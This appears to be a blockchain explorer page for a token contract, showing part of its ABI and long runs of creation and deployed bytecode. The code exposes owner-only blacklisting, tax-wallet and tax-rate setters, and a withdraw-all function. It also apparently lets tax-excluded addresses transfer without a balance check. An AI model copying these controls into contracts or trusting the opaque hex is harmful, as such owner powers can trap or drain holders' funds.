payable[2]","name":"_taxWallets","type":"address[2]"}],"name":"setTaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTradingActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"taxExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"taxWallets","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"totalTaxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"updateBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052600060c081815260e09190915262000022906006906002620004f9565b50604080518082019091526000808252602082015262000047906008906002620004f9565b50600160108190556011805461ffff191690911790556064620000786b3077b58d5d3783919800000060036200056e565b6200008491906200058e565b60125560006014556016805461ffff19169055348015620000a457600080fd5b506040518060400160405280601081526020016f10dc9e5c1d1bc814da5b1ac8149bd85960821b8152506040518060400160405280600381526020016221a9a960e91b8152508160039081620000fb919062000656565b5060046200010a828262000656565b50505060006200011f620003d460201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c80546001600160a01b031990811673d7b4ad220014eb2a921cc7052fd65f8d6907a06f178255600d805490911672cef98f4ed31279d8804e819e0fdaa481985e9d1781556005546001600160a01b039081166000908152600e60209081526040808320805460ff1990811660019081179092553085528285208054821683179055965485168452818420805488168217905594549093168252908290208054909416909217909255737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa15801562000269573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028f919062000722565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000305919062000722565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000353573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000379919062000722565b6001600160a01b0390811660a052608051166000908152600e60205260409020805460ff19166001179055620003ce620003bb6005546001600160a01b031690565b6b3077b58d5d37839198000000620003d8565b6200076a565b3390565b6b3077b58d5d3783919800000081601454620003f5919062000754565b1115620004485760405162461bcd60e51b815260206004820152601360248201527f4d617820737570706c7920657863656564656400000000000000000000000000604482015260640160405180910390fd5b80601460008282546200045c919062000754565b909155506200046e90508282620004b3565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216600090815260156020526040902054620004d990829062000754565b6001600160a01b0390921660009081526015602052604090209190915550565b82600281019282156200052f579160200282015b828111156200052f578251829060ff169055916020019190600101906200050d565b506200053d92915062000541565b5090565b5b808211156200053d576000815560010162000542565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000588576200058862000558565b92915050565b600082620005ac57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005dc57607f821691505b602082108103620005fd57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200065157600081815260208120601f850160051c810160208610156200062c5750805b601f850160051c820191505b818110156200064d5782815560010162000638565b5050505b505050565b81516001600160401b03811115620006725762000672620005b1565b6200068a81620006838454620005c7565b8462000603565b602080601f831160018114620006c25760008415620006a95750858301515b600019600386901b1c1916600185901b1785556200064d565b600085815260208120601f198616915b82811015620006f357888601518255948401946001909101908401620006d2565b5085821015620007125787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200073557600080fd5b81516001600160a01b03811681146200074d57600080fd5b9392505050565b8082018082111562000588576200058862000558565b60805160a05161283a620007cf600039600081816106700152818161163701528181611692015281816117a50152611f5201526000818161073501528181610b7d01528181610ba4015281816118c0015281816119c001526119fc015261283a6000f3fe6080604052600436106102605760003560e01c8063821f658011610144578063b51449bb116100b6578063edae876f1161007a578063edae876f14610723578063f016d83b14610757578063f2fde38b1461076c578063f50a243b1461078c578063f53bc835146107ac578063f9f92be4146107cc57600080fd5b8063b51449bb1461065e578063bbc0c74214610692578063cd51e6d4146106b1578063dd62ed3e146106c7578063e1a452181461070d57600080fd5b806393818cfa1161010857806393818cfa146105a957806395d89b41146105c9578063a457c2d7146105de578063a894185d146105fe578063a9059cbb1461061e578063b0ac15711461063e57600080fd5b8063821f658014610502578063853828b6146105225780638da5cb5b14610537578063912c048c146105695780639155e0831461058957600080fd5b806339509351116101dd5780635b78f35f116101a15780635b78f35f1461045157806364071d9f1461046757806370a082311461048757806370db69d6146104bd578063715018a6146104d357806377004851146104e857600080fd5b806339509351146103b957806339b622d3146103d95780633e9ffbea1461040957806351c6590a1461041e57806352f892fa1461043157600080fd5b806319c2c40d1161022457806319c2c40d1461031d57806323b872dd1461033d5780632c8dc1471461035d578063313ce5671461037d57806332cb6b0c1461039957600080fd5b806306fdde031461026c578063095ea7b31461029757806309d2c46a146102c757806313554854146102e957806318160ddd146102fe57600080fd5b3661026757005b600080fd5b34801561027857600080fd5b506102816107fc565b60405161028e91906122b5565b60405180910390f35b3480156102a357600080fd5b506102b76102b2366004612318565b61088e565b604051901515815260200161028e565b3480156102d357600080fd5b506102e76102e236600461237b565b6108a5565b005b3480156102f557600080fd5b506102e7610923565b34801561030a57600080fd5b506014545b60405190815260200161028e565b34801561032957600080fd5b506102e76103383660046123f9565b610996565b34801561034957600080fd5b506102b761035836600461242e565b610a23565b34801561036957600080fd5b5061030f61037836600461246f565b610acd565b34801561038957600080fd5b506040516012815260200161028e565b3480156103a557600080fd5b5061030f6b3077b58d5d3783919800000081565b3480156103c557600080fd5b506102b76103d4366004612318565b610ae4565b3480156103e557600080fd5b506102b76103f4366004612488565b600e6020526000908152604090205460ff1681565b34801561041557600080fd5b506102e7610b20565b6102e761042c36600461246f565b610b34565b34801561043d57600080fd5b506102e761044c3660046124ac565b610c87565b34801561045d57600080fd5b5061030f60105481565b34801561047357600080fd5b506102e76104823660046124ac565b610d6f565b34801561049357600080fd5b5061030f6104a2366004612488565b6001600160a01b031660009081526015602052604090205490565b3480156104c957600080fd5b5061030f60125481565b3480156104df57600080fd5b506102e7610e58565b3480156104f457600080fd5b506011546102b79060ff1681565b34801561050e57600080fd5b5061030f61051d36600461246f565b610ecc565b34801561052e57600080fd5b506102e7610edc565b34801561054357600080fd5b506005546001600160a01b03165b6040516001600160a01b03909116815260200161028e565b34801561057557600080fd5b5061055161058436600461246f565b610f42565b34801561059557600080fd5b506102e76105a43660046123f9565b610f62565b3480156105b557600080fd5b506102e76105c4366004612501565b610f96565b3480156105d557600080fd5b50610281611008565b3480156105ea57600080fd5b506102b76105f9366004612318565b611017565b34801561060a57600080fd5b506102e761061936600461251c565b6110b0565b34801561062a57600080fd5b506102b7610639366004612318565b6111fc565b34801561064a57600080fd5b506102e761065936600461246f565b611209565b34801561066a57600080fd5b506105517f000000000000000000000000000000000000000000000000000000000000000081565b34801561069e57600080fd5b506011546102b790610100900460ff1681565b3480156106bd57600080fd5b5061030f60135481565b3480156106d357600080fd5b5061030f6106e2366004612555565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561071957600080fd5b5061030f61271081565b34801561072f57600080fd5b506105517f000000000000000000000000000000000000000000000000000000000000000081565b34801561076357600080fd5b5061030f600081565b34801561077857600080fd5b506102e7610787366004612488565b611274565b34801561079857600080fd5b5061030f6107a736600461246f565b61135f565b3480156107b857600080fd5b506102e76107c736600461246f565b61136f565b3480156107d857600080fd5b506102b76107e7366004612488565b600f6020526000908152604090205460ff1681565b60606003805461080b9061258e565b80601f01602080910402602001604051908101604052809291908181526020018280546108379061258e565b80156108845780601f1061085957610100808354040283529160200191610884565b820191906000526020600020905b81548152906001019060200180831161086757829003601f168201915b5050505050905090565b600061089b338484611438565b5060015b92915050565b6005546001600160a01b031633146108d85760405162461bcd60e51b81526004016108cf906125c8565b60405180910390fd5b7fbf0afdfa1cb21873aab858ebc02e5db135c9f8e64589cd0d1a668b4d66993ca9600c8260405161090a9291906125fd565b60405180910390a161091f600c8260026121c9565b5050565b6005546001600160a01b0316331461094d5760405162461bcd60e51b81526004016108cf906125c8565b6011805461ff00191661010017905543601355604051600181527fec78e36312d308764a43b9714c18f6444e2604b277d18be4ea329e0644dbe9b99060200160405180910390a1565b6005546001600160a01b031633146109c05760405162461bcd60e51b81526004016108cf906125c8565b6001600160a01b0382166000818152600e6020908152604091829020805460ff19168515159081179091558251938452908301527f9081172b1302ac3df81f8da318d2d60362a834f73c0a1b69d14cb14414fbb9fc910160405180910390a15050565b6000610a3084848461155c565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610ab55760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108cf565b610ac28533858403611438565b506001949350505050565b60088160028110610add57600080fd5b0154905081565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161089b918590610b1b908690612681565b611438565b60165460ff16610b3257610b3261185c565b565b6005546001600160a01b03163314610b5e5760405162461bcd60e51b81526004016108cf906125c8565b6016805461ff001916610100179055610b773082611c14565b610ba2307f000000000000000000000000000000000000000000000000000000000000000083611438565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d719343084600080610be96005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c51573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c769190612694565b50506016805461ff00191690555050565b6005546001600160a01b03163314610cb15760405162461bcd60e51b81526004016108cf906125c8565b6020810151815161271091610cc591612681565b1115610d285760405162461bcd60e51b815260206004820152602c60248201527f73756d285f6275795461786573292063616e6e6f74206578636565642042505360448201526b2fa222a727a6a4a720aa27a960a11b60648201526084016108cf565b7ff030bb719ac1227860b29dae4e2aead664a7eb21b5d574d8eb10302e435a57cb600682604051610d5a9291906126d8565b60405180910390a161091f6006826002612221565b6005546001600160a01b03163314610d995760405162461bcd60e51b81526004016108cf906125c8565b6020810151815161271091610dad91612681565b1115610e115760405162461bcd60e51b815260206004820152602d60248201527f73756d285f73656c6c5461786573292063616e6e6f742065786365656420425060448201526c29afa222a727a6a4a720aa27a960991b60648201526084016108cf565b7f4e5aa6a1d8a2baf47d4c781f8fa278df4f48fb465fde488841b40aee0868d9f2600882604051610e439291906126d8565b60405180910390a161091f6008826002612221565b6005546001600160a01b03163314610e825760405162461bcd60e51b81526004016108cf906125c8565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b60068160028110610add57600080fd5b6005546001600160a01b03163314610f065760405162461bcd60e51b81526004016108cf906125c8565b6005546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610f3f573d6000803e3d6000fd5b50565b600c8160028110610f5257600080fd5b01546001600160a01b0316905081565b6005546001600160a01b03163314610f8c5760405162461bcd60e51b81526004016108cf906125c8565b61091f8282611cda565b6005546001600160a01b03163314610fc05760405162461bcd60e51b81526004016108cf906125c8565b6011805460ff19168215159081179091556040519081527f927009a164f58be5665a2121b2564ae19a66046fb36a397d3fca78f72ba04c3d906020015b60405180910390a150565b60606004805461080b9061258e565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156110995760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108cf565b6110a63385858403611438565b5060019392505050565b6005546001600160a01b031633146110da5760405162461bcd60e51b81526004016108cf906125c8565b600283106111175760405162461bcd60e51b815260206004820152600a6024820152692fb4b73232bc1027a7a160b11b60448201526064016108cf565b600a836002811061112a5761112a6126c2565b015482111561118a5760405162461bcd60e51b815260206004820152602660248201527f416d6f756e742063616e6e6f742062652067726561746572207468616e20746f6044820152650e8c2d8a8c2f60d31b60648201526084016108cf565b611195308284611d62565b60408051848152602081018490527f13ac772a78d03c80813b3c9c28d72a72d3b31e5ee74e277a88ac0c322a6bfc8f910160405180910390a181600a84600281106111e2576111e26126c2565b0160008282546111f2919061272a565b9091555050505050565b600061089b33848461155c565b6005546001600160a01b031633146112335760405162461bcd60e51b81526004016108cf906125c8565b60105460408051918252602082018390527f15426420a06dcf9391d9e4b7557f5cfaba5be0d7bf857b641e78ec375a343425910160405180910390a1601055565b6005546001600160a01b0316331461129e5760405162461bcd60e51b81526004016108cf906125c8565b6001600160a01b0381166113035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108cf565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600a8160028110610add57600080fd5b6005546001600160a01b031633146113995760405162461bcd60e51b81526004016108cf906125c8565b6103e860145460056113ab919061273d565b6113b59190612754565b81116114035760405162461bcd60e51b815260206004820152601f60248201527f6d6178206275792073686f756c64206265206d6f7265207468616e202e35250060448201526064016108cf565b60128190556040518181527f1003faaf440f4e10b9ef552a11d026be63390c8c7eac09549c045f8d700ba53490602001610ffd565b6001600160a01b03831661149a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108cf565b6001600160a01b0382166114fb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108cf565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600f602052604090205460ff16156115c55760405162461bcd60e51b815260206004820152601860248201527f526563697069656e7420697320626c61636b6c6973746564000000000000000060448201526064016108cf565b6001600160a01b0383166000908152600e602052604090205460ff168061160457506001600160a01b0382166000908152600e602052604090205460ff165b1561161d5742601855611618838383611d62565b505050565b6116278383611f09565b60165460ff1615801561166c57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b801561167a575060115460ff165b156116875761168761185c565b8061169061224f565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316036117a357601154610100900460ff1661171c5760405162461bcd60e51b815260206004820152601960248201527854726164696e67206973206e6f74207965742061637469766560381b60448201526064016108cf565b60125483111561176e5760405162461bcd60e51b815260206004820152601960248201527f42757920616d6f756e742065786365656473206d61784275790000000000000060448201526064016108cf565b600060135461177d9190612681565b431161178e5761178e846001611cda565b611799836001612009565b9092509050611840565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03160361184057601154610100900460ff1661182f5760405162461bcd60e51b815260206004820152601960248201527854726164696e67206973206e6f74207965742061637469766560381b60448201526064016108cf565b61183a836000612009565b90925090505b61184b858584611d62565b61185585826120df565b5050505050565b6016805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061189e5761189e6126c2565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561191c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119409190612776565b81600181518110611953576119536126c2565b6001600160a01b039290921660209283029190910190910152600b54600a5460009161197e91612681565b90508060000361198f575050611c08565b3060009081526015602052604090205481908111156119ba5750306000908152601560205260409020545b6119e5307f000000000000000000000000000000000000000000000000000000000000000083611438565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611a3a908490600090889030904290600401612793565b600060405180830381600087803b158015611a5457600080fd5b505af1158015611a68573d6000803e3d6000fd5b5050600a54479250600091508490611a80908461273d565b611a8a9190612754565b9050600084600a60010154611a9f908561273d565b611aa99190612754565b6040805180820190915260008082526020820152909150611ace90600a90600261226d565b508115611b6857600c546040516000916001600160a01b03169084908381818185875af1925050503d8060008114611b22576040519150601f19603f3d011682016040523d82523d6000602084013e611b27565b606091505b5050905080611b665760405162461bcd60e51b815260206004820152600b60248201526a06661696c656420737761760ac1b60448201526064016108cf565b505b8015611c0157600d546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611bbb576040519150601f19603f3d011682016040523d82523d6000602084013e611bc0565b606091505b5050905080611bff5760405162461bcd60e51b815260206004820152600b60248201526a06661696c656420737761760ac1b60448201526064016108cf565b505b5050505050505b6016805460ff19169055565b6b3077b58d5d3783919800000081601454611c2f9190612681565b1115611c735760405162461bcd60e51b815260206004820152601360248201527213585e081cdd5c1c1b1e48195e18d959591959606a1b60448201526064016108cf565b8060146000828254611c859190612681565b90915550611c9590508282612185565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b0382166000818152600f602090815260409182902054825193845260ff1615159083015282151582820152517f248358295a71c50a9351204f4da6e13409c2887fde3625358fbb80b9743e433b9181900360600190a16001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b6001600160a01b038316611db85760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f2061646472657373000060448201526064016108cf565b6001600160a01b038216611e0e5760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f20616464726573730000000060448201526064016108cf565b6001600160a01b038316600090815260156020908152604080832054600e9092529091205460ff1680611e415750818110155b611e8d5760405162461bcd60e51b815260206004820152601f60248201527f7472616e7366657220616d6f756e7420657863656564732062616c616e63650060448201526064016108cf565b6001600160a01b038416600090815260156020526040902080548390039055611eb68383612185565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611efb91815260200190565b60405180910390a350505050565b6001600160a01b0382166000908152600e602052604090205460ff16158015611f4b57506001600160a01b0381166000908152600e602052604090205460ff16155b1561091f577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031603611fd2576001600160a01b03811660009081526017602052604090208054158015611fc657506001600160a01b038216600090815260156020526040902054155b15611618574290555050565b6001600160a01b03821660009081526017602052604090206018548154611ff9919061272a565b6002820155426001909101555050565b600061201361224f565b821561206c576040805180820190915280612710600660000154612037908861273d565b6120419190612754565b8152602001612710600660010154612059908861273d565b6120639190612754565b905290506120bb565b604080518082019091528061271060086000015461208a908861273d565b6120949190612754565b81526020016127106008600101546120ac908861273d565b6120b69190612754565b905290505b602081015181516120cc908661272a565b6120d6919061272a565b91509250929050565b6001600160a01b0382166121355760405162461bcd60e51b815260206004820152601e60248201527f7461786174696f6e2066726f6d20746865207a65726f2061646472657373000060448201526064016108cf565b6020810151815160009161214891612681565b9050612155833083611d62565b8151600a8054600090612169908490612681565b90915550506020820151600b80546000906111f2908490612681565b6001600160a01b0382166000908152601560205260409020546121a9908290612681565b6001600160a01b0390921660009081526015602052604090209190915550565b8260028101928215612211579160200282015b8281111561221157825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906121dc565b5061221d9291506122a0565b5090565b8260028101928215612211579160200282015b82811115612211578251825591602001919060010190612234565b60405180604001604052806002906020820280368337509192915050565b8260028101928215612211579160200282015b82811115612211578251829060ff16905591602001919060010190612280565b5b8082111561221d57600081556001016122a1565b600060208083528351808285015260005b818110156122e2578581018301518582016040015282016122c6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f3f57600080fd5b6000806040838503121561232b57600080fd5b823561233681612303565b946020939093013593505050565b6040805190810167ffffffffffffffff8111828210171561237557634e487b7160e01b600052604160045260246000fd5b60405290565b60006040828403121561238d57600080fd5b82601f83011261239c57600080fd5b6123a4612344565b8060408401858111156123b657600080fd5b845b818110156123d95780356123cb81612303565b8452602093840193016123b8565b509095945050505050565b803580151581146123f457600080fd5b919050565b6000806040838503121561240c57600080fd5b823561241781612303565b9150612425602084016123e4565b90509250929050565b60008060006060848603121561244357600080fd5b833561244e81612303565b9250602084013561245e81612303565b929592945050506040919091013590565b60006020828403121561248157600080fd5b5035919050565b60006020828403121561249a57600080fd5b81356124a581612303565b9392505050565b6000604082840312156124be57600080fd5b82601f8301126124cd57600080fd5b6124d5612344565b8060408401858111156124e757600080fd5b845b818110156123d95780358452602093840193016124e9565b60006020828403121561251357600080fd5b6124a5826123e4565b60008060006060848603121561253157600080fd5b8335925060208401359150604084013561254a81612303565b809150509250925092565b6000806040838503121561256857600080fd5b823561257381612303565b9150602083013561258381612303565b809150509250929050565b600181811c908216806125a257607f821691505b6020821081036125c257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60808101818460005b600281101561262e5781546001600160a01b0316835260209092019160019182019101612606565b505050604082018360005b60028110156126615781516001600160a01b0316835260209283019290910190600101612639565b5050509392505050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561089f5761089f61266b565b6000806000606084860312156126a957600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b60808101818460005b60028110156127005781548352602090920191600191820191016126e1565b505050604082018360005b600281101561266157815183526020928301929091019060010161270b565b8181038181111561089f5761089f61266b565b808202811582820484141761089f5761089f61266b565b60008261277157634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561278857600080fd5b81516124a581612303565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156127e35784516001600160a01b0316835293830193918301916001016127be565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d9e8932ea8f9f8cfd2e1c33fc14c86951f2039106940d5655f3ecfe3f802803f64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102605760003560e01c8063821f658011610144578063b51449bb116100b6578063edae876f1161007a578063edae876f14610723578063f016d83b14610757578063f2fde38b1461076c578063f50a243b1461078c578063f53bc835146107ac578063f9f92be4146107cc57600080fd5b8063b51449bb1461065e578063bbc0c74214610692578063cd51e6d4146106b1578063dd62ed3e146106c7578063e1a452181461070d57600080fd5b806393818cfa1161010857806393818cfa146105a957806395d89b41146105c9578063a457c2d7146105de578063a894185d146105fe578063a9059cbb1461061e578063b0ac15711461063e57600080fd5b8063821f658014610502578063853828b6146105225780638da5cb5b14610537578063912c048c146105695780639155e0831461058957600080fd5b806339509351116101dd5780635b78f35f116101a15780635b78f35f1461045157806364071d9f1461046757806370a082311461048757806370db69d6146104bd578063715018a6146104d357806377004851146104e857600080fd5b806339509351146103b957806339b622d3146103d95780633e9ffbea1461040957806351c6590a1461041e57806352f892fa1461043157600080fd5b806319c2c40d1161022457806319c2c40d1461031d57806323b872dd1461033d5780632c8dc1471461035d578063313ce5671461037d57806332cb6b0c1461039957600080fd5b806306fdde031461026c578063095ea7b31461029757806309d2c46a146102c757806313554854146102e957806318160ddd146102fe57600080fd5b3661026757005b600080fd5b34801561027857600080fd5b506102816107fc565b60405161028e91906122b5565b60405180910390f35b3480156102a357600080fd5b506102b76102b2366004612318565b61088e565b604051901515815260200161028e565b3480156102d357600080fd5b506102e76102e236600461237b565b6108a5565b005b3480156102f557600080fd5b506102e7610923565b34801561030a57600080fd5b506014545b60405190815260200161028e565b34801561032957600080fd5b506102e76103383660046123f9565b610996565b34801561034957600080fd5b506102b761035836600461242e565b610a23565b34801561036957600080fd5b5061030f61037836600461246f565b610acd565b34801561038957600080fd5b506040516012815260200161028e565b3480156103a557600080fd5b5061030f6b3077b58d5d3783919800000081565b3480156103c557600080fd5b506102b76103d4366004612318565b610ae4565b3480156103e557600080fd5b506102b76103f4366004612488565b600e6020526000908152604090205460ff1681565b34801561041557600080fd5b506102e7610b20565b6102e761042c36600461246f565b610b34565b34801561043d57600080fd5b506102e761044c3660046124ac565b610c87565b34801561045d57600080fd5b5061030f60105481565b34801561047357600080fd5b506102e76104823660046124ac565b610d6f565b34801561049357600080fd5b5061030f6104a2366004612488565b6001600160a01b031660009081526015602052604090205490565b3480156104c957600080fd5b5061030f60125481565b3480156104df57600080fd5b506102e7610e58565b3480156104f457600080fd5b506011546102b79060ff1681565b34801561050e57600080fd5b5061030f61051d36600461246f565b610ecc565b34801561052e57600080fd5b506102e7610edc565b34801561054357600080fd5b506005546001600160a01b03165b6040516001600160a01b03909116815260200161028e565b34801561057557600080fd5b5061055161058436600461246f565b610f42565b34801561059557600080fd5b506102e76105a43660046123f9565b610f62565b3480156105b557600080fd5b506102e76105c4366004612501565b610f96565b3480156105d557600080fd5b50610281611008565b3480156105ea57600080fd5b506102b76105f9366004612318565b611017565b34801561060a57600080fd5b506102e761061936600461251c565b6110b0565b34801561062a57600080fd5b506102b7610639366004612318565b6111fc565b34801561064a57600080fd5b506102e761065936600461246f565b611209565b34801561066a57600080fd5b506105517f00000000000000000000000033ce3732d3128d6f16ebee38ab2145ddbf78f22b81565b34801561069e57600080fd5b506011546102b790610100900460ff1681565b3480156106bd57600080fd5b5061030f60135481565b3480156106d357600080fd5b5061030f6106e2366004612555565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561071957600080fd5b5061030f61271081565b34801561072f57600080fd5b506105517f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561076357600080fd5b5061030f600081565b34801561077857600080fd5b506102e7610787366004612488565b611274565b34801561079857600080fd5b5061030f6107a736600461246f565b61135f565b3480156107b857600080fd5b506102e76107c736600461246f565b61136f565b3480156107d857600080fd5b506102b76107e7366004612488565b600f6020526000908152604090205460ff1681565b60606003805461080b9061258e565b80601f01602080910402602001604051908101604052809291908181526020018280546108379061258e565b80156108845780601f1061085957610100808354040283529160200191610884565b820191906000526020600020905b81548152906001019060200180831161086757829003601f168201915b5050505050905090565b600061089b338484611438565b5060015b92915050565b6005546001600160a01b031633146108d85760405162461bcd60e51b81526004016108cf906125c8565b60405180910390fd5b7fbf0afdfa1cb21873aab858ebc02e5db135c9f8e64589cd0d1a668b4d66993ca9600c8260405161090a9291906125fd565b60405180910390a161091f600c8260026121c9565b5050565b6005546001600160a01b0316331461094d5760405162461bcd60e51b81526004016108cf906125c8565b6011805461ff00191661010017905543601355604051600181527fec78e36312d308764a43b9714c18f6444e2604b277d18be4ea329e0644dbe9b99060200160405180910390a1565b6005546001600160a01b031633146109c05760405162461bcd60e51b81526004016108cf906125c8565b6001600160a01b0382166000818152600e6020908152604091829020805460ff19168515159081179091558251938452908301527f9081172b1302ac3df81f8da318d2d60362a834f73c0a1b69d14cb14414fbb9fc910160405180910390a15050565b6000610a3084848461155c565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610ab55760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108cf565b610ac28533858403611438565b506001949350505050565b60088160028110610add57600080fd5b0154905081565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161089b918590610b1b908690612681565b611438565b60165460ff16610b3257610b3261185c565b565b6005546001600160a01b03163314610b5e5760405162461bcd60e51b81526004016108cf906125c8565b6016805461ff001916610100179055610b773082611c14565b610ba2307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d83611438565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d719343084600080610be96005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c51573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c769190612694565b50506016805461ff00191690555050565b6005546001600160a01b03163314610cb15760405162461bcd60e51b81526004016108cf906125c8565b6020810151815161271091610cc591612681565b1115610d285760405162461bcd60e51b815260206004820152602c60248201527f73756d285f6275795461786573292063616e6e6f74206578636565642042505360448201526b2fa222a727a6a4a720aa27a960a11b6064